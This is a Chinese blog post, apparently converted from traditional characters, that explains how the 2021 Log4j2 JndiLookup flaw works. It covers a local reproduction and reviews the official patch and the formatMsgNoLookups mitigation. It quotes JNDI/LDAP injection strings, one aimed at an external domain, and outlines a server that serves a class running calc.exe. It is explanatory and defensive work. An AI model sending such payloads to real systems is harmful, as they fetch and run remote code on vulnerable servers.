天天看點

Log4j2 Jndi 漏洞原了解析、複盤

“ 2021-12-10一個值得所有研發紀念的日子。”

一波操作猛如虎,下班到了淩晨2點25。

基礎元件的重要性,在此次的Log4j2漏洞上反應的淋漓盡緻,各種“核彈級漏洞”、“超高危” 等詞彙看的我瑟瑟發抖,那麼問題真的有那麼嚴重嗎?這個讓大家普遍加班搞到淩晨的漏洞,到底是什麼問題?

01

漏洞解析、複現

Log4j2的架構設計非常優秀,各種功能均是以内部插件的方式進行的擴充實作,比如我們經常在Xml中定義的<Appenders>,實際對應的則是如下的AppendersPlugin對象

Log4j2 Jndi 漏洞原了解析、複盤

而我們在Xml Appenders下所定義的<Console>實際對應的則是如下的ConsoleAppender對象

Log4j2 Jndi 漏洞原了解析、複盤

看到這裡應該就知曉了,我們在配置檔案中所配置的各種元素實際上對應的均是Log4j2中的各種插件對象,Xml在被解析過程當中,會将你所配置的各種元素名稱執行個體化為對應的插件對象,然後與你所配置的Logger進行關聯。

Console,RollingFile 等則是我們一般情況下常用的插件,而此次出現重大漏洞問題的則是一個相對不太常用的插件,名叫:JndiLookup 呐,就是下面這個

Log4j2 Jndi 漏洞原了解析、複盤

此時則會有一個疑問,這個插件?沒見過?不熟悉?使用頻率不高吧?

Log4j2 Jndi 漏洞原了解析、複盤

按照道理來說的确是這樣,一個使用頻率不高的插件,就算有漏洞,也很難會去觸發到。

但偏偏這個插件被人為使用的頻率較低,但代碼觸發到的頻率很高,高到你代碼中每次觸發info,warn,error 等日志寫入的時候,都會去校驗一下是否執行Lookup的邏輯。也就是基于此,這樣一個小的插件由于和日志的寫入邏輯有所關聯,就導緻了漏洞觸發的可能性成倍的增加。

Lookup插件在Log4j2的使用場景上是為了擷取配置而使用的,如Log4j2架構中所包含的JavaLookup插件,表示當你要在Log4j2架構中擷取Java的配置資訊時,則會排程執行該JavaLookup來傳回對應的Java配置資訊,如下所示:

error代碼中直接填寫:${java.version} 則最終會傳回對應的Java版本資訊

Log4j2 Jndi 漏洞原了解析、複盤

同理Log4j2中還封裝的有DockerLookup,KubernetesLookup等,當你要在服務中擷取Docker的中繼資料資訊時,則最終會被Log4j2架構排程執行到DockerLookup方法中,由DockerLookup來執行具體的互動并傳回對應的資料。

那麼此時再來去看JndiLookup則一目了然了,沒錯,JndiLookup隻是Log4j2架構中各種Lookup的其中一個,其作用則是通過Jndi規範去擷取對應的配置資訊時使用。

此時我們來驗證一下JndiLookup的漏洞,如下所示:

Log4j2 Jndi 漏洞原了解析、複盤

各大安全廠商在釋出漏洞驗證報告時的截圖均是以$Jndi 打開本地電腦為例,以此表示Jndi存在嚴重的安全隐患,是以此處本人也是直接以此為例來進行驗證。

當我啟動main方法後可以發現 ${jndi:ldap://127.0.0.1:1389/badClassName} 這段代碼最終打開了本地的一個電腦程式,漏洞驗證成功。

原創聲明:作者陳咬金、 原文位址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

Log4j2 Jndi 漏洞原了解析、複盤

實際上想要本地複現這個漏洞是并不簡單的,是以為了後續可以更快速的了解,我們此處則需要重複幾個概念:

1、jndi 全名 Java Naming and Directory Interface,是用于目錄服務的Java API,它允許Java用戶端通過名稱發現查找資料和資源(以Java對象的形式)。

2、觸發Lookup插件的場景是使用:${},如上述的${java:version} 表示使用JavaLookup插件,傳入值為version然後傳回對應的結果,而此處的${jndi:ldap://ip:port} 則同理表示調用JndiLookup傳入值為 ldap://ip:port 。

3、jndi是目錄接口,是以JndiLookup中則是各種目錄接口的實作集合,如下圖所示可以發現JndiLookup中可直接調用的具體實作類有很多,其中就包括LdapURLContext

Log4j2 Jndi 漏洞原了解析、複盤

OK,了解了上述的概念,我們就可以繼續開始了。

首先我們目前的注入方式是${jndi:ldap://127.0.0.1:1389/badClassName} 也就是讓Log4j2架構執行error時,觸發JndiLookup,然後調用JndiLookup的ldap協定,以此達到注入的效果。

那麼在此之前,我們需要做的第一件事是先搭建一個ldap協定的服務端,隻有這樣才能做到Log4j2觸發ldap協定時,可以成功通路你目前本地的1389端口,核心代碼如下所示:

首先定義一個ldap協定的Server

Log4j2 Jndi 漏洞原了解析、複盤

第二步通過asm架構位元組碼的方式生成一個class類,class類主要内容便是執行Runtime.getRuntime.exec("calc.exe") 也就是該class類一旦被執行則會立即調用本地的電腦服務。

Log4j2 Jndi 漏洞原了解析、複盤

第三步則是ldap協定被通路後,則将目前的class類作為byte流輸出為對應的響應結果

Log4j2 Jndi 漏洞原了解析、複盤

此時我們的服務端則搭建完成。

而對于用戶端而言,則更加簡單,僅需要引用對應的log4j-core的漏洞版即可,目前所引入的為2.14.1的版本。

啟動測試,結果則如下所示:

Log4j2 Jndi 漏洞原了解析、複盤

此時身為好奇Boy的你可能仍然會有疑問:

1、jndi加載後的class位元組流是在何時被執行個體化為對象的。

2、既然如此,Log4j2官方又是如何修複的?

02

疑問、複盤

針對jndi的問題,先做下相關說明:首先jndi本身并不是Log4j2架構的産物,而是Jdk自身的功能,對應的包路徑為com.sun.jndi 。

jndi 在jdk中的定位是目錄服務應用程式接口,目錄服務可以想象為一個樹,而java中常用的目錄服務協定則是rmi和ldap,ldap本身就是一套常用的目錄通路協定,一般我們windows常用的AD域也都是基于ldap協定的,而jndi的作用則是通過目錄協定如ldap根據對應的目錄名,去查找對應服務端的對象,并把該對象下載下傳到用戶端中來。

是以針對上述jndi:ldap的漏洞,其實這本身就不是問題,因為這本身就是jndi的功能,如果你的目錄通路協定是可控的情況下,那麼使用jndi則是安全的。

而Log4j2架構中JndiLookup使用到了Jndi的功能,但是對應的傳參則較為随意,這就是一個很大的問題,如通過http的方式給業務服務傳參數為:${jndi:ldap://yuming.com/service} ,而業務方服務又恰巧把該參數打到了日志中,這就會導緻很大的漏洞,因為誰也無法保證注入的yuming.com/service傳回的對象是什麼,相當于是一個很大的後門,注入者可以通過此漏洞任意執行所有代碼。

閉環了朋友們,文章最初所提到的這個漏洞真的有這麼嚴重嗎?看到這裡想必也已經很清楚了,各種媒體所宣稱的"核彈級",也是真的沒什麼毛病。

Log4j2 Jndi 漏洞原了解析、複盤

此時所引出的第二個問題則是:Log4j2架構是如何修複的?

既然jndi的問題無法解決,那作為日志架構的“我”自然要從自身尋找問題,是以Log4j2架構本身的解決方案則是設定域名白名單,類白名單等操作,如果jndi:ldap對應的通路路徑并非127.0.0.1同網段的服務等,則不會執行lookup() ,以此避免通路到外部的惡意服務上去。

Log4j2的代碼修複記錄如下:

Log4j2 Jndi 漏洞原了解析、複盤

老版本中關于JndiManager的代碼是這樣的,直接調用context.lookup(),context為jdk自身的jndi類

Log4j2 Jndi 漏洞原了解析、複盤

而修複後代碼是這樣的:在調用context.lookup()之前,做了較多的攔截操作,判斷了對應的白名單類,以及host等操作

Log4j2 Jndi 漏洞原了解析、複盤

對于各公司内解決方案,實際上不見得一定要通過短時間内更新jar包的方式來解決,因為java體系内的各種log包的依賴,由于各種曆史原因導緻目前也是有點較為繁瑣,如果想要短時間内更加無痛解決的情況下,直接在已有的項目下增加log4j2.formatMsgNoLookups=true,也可以完美解決該問題。

對應代碼如下:配置該參數為true以後,會在對應的日志輸出進行format格式化時,不再解析你目前日志中的 ${} 的代碼塊,造成的影響面則是服務代碼中所有的 ${} 均不會再解析Lookup

Log4j2 Jndi 漏洞原了解析、複盤

當然,如果可以高效的推動各業務方更新則是最好的。

如果大家還有其他的奇門技巧來解決該問題,歡迎留言評論交流下你的解決方案。

 對于想要學習并驗證該漏洞的小夥伴,則需要麻煩你掃碼以下公衆号,并發送消息“ldap” 便可直接擷取ldap協定服務端源代碼。(卑微打勞工,線上引流恰飯  /哭 ,感謝大家對原創的支援! )

Log4j2 Jndi 漏洞原了解析、複盤

本文已進行版權登記,版權歸屬陳咬金,抄襲必究。

版權聲明

作者:陳咬金

了解更多網際網路研發知識,歡迎微信搜尋公衆号“陳咬金”

出處:部落格園Arnold的技術部落格--https://www.cnblogs.com/zh94/

您的支援是對部落客最大的鼓勵,感謝您的認真閱讀。

本文版權歸作者所有,歡迎轉載,但未經作者同意必須保留此段聲明,且在文章頁面明顯位置給出原文連接配接,否則保留任何追究法律責任的權利。

Log4j2 Jndi 漏洞原了解析、複盤
Log4j2 Jndi 漏洞原了解析、複盤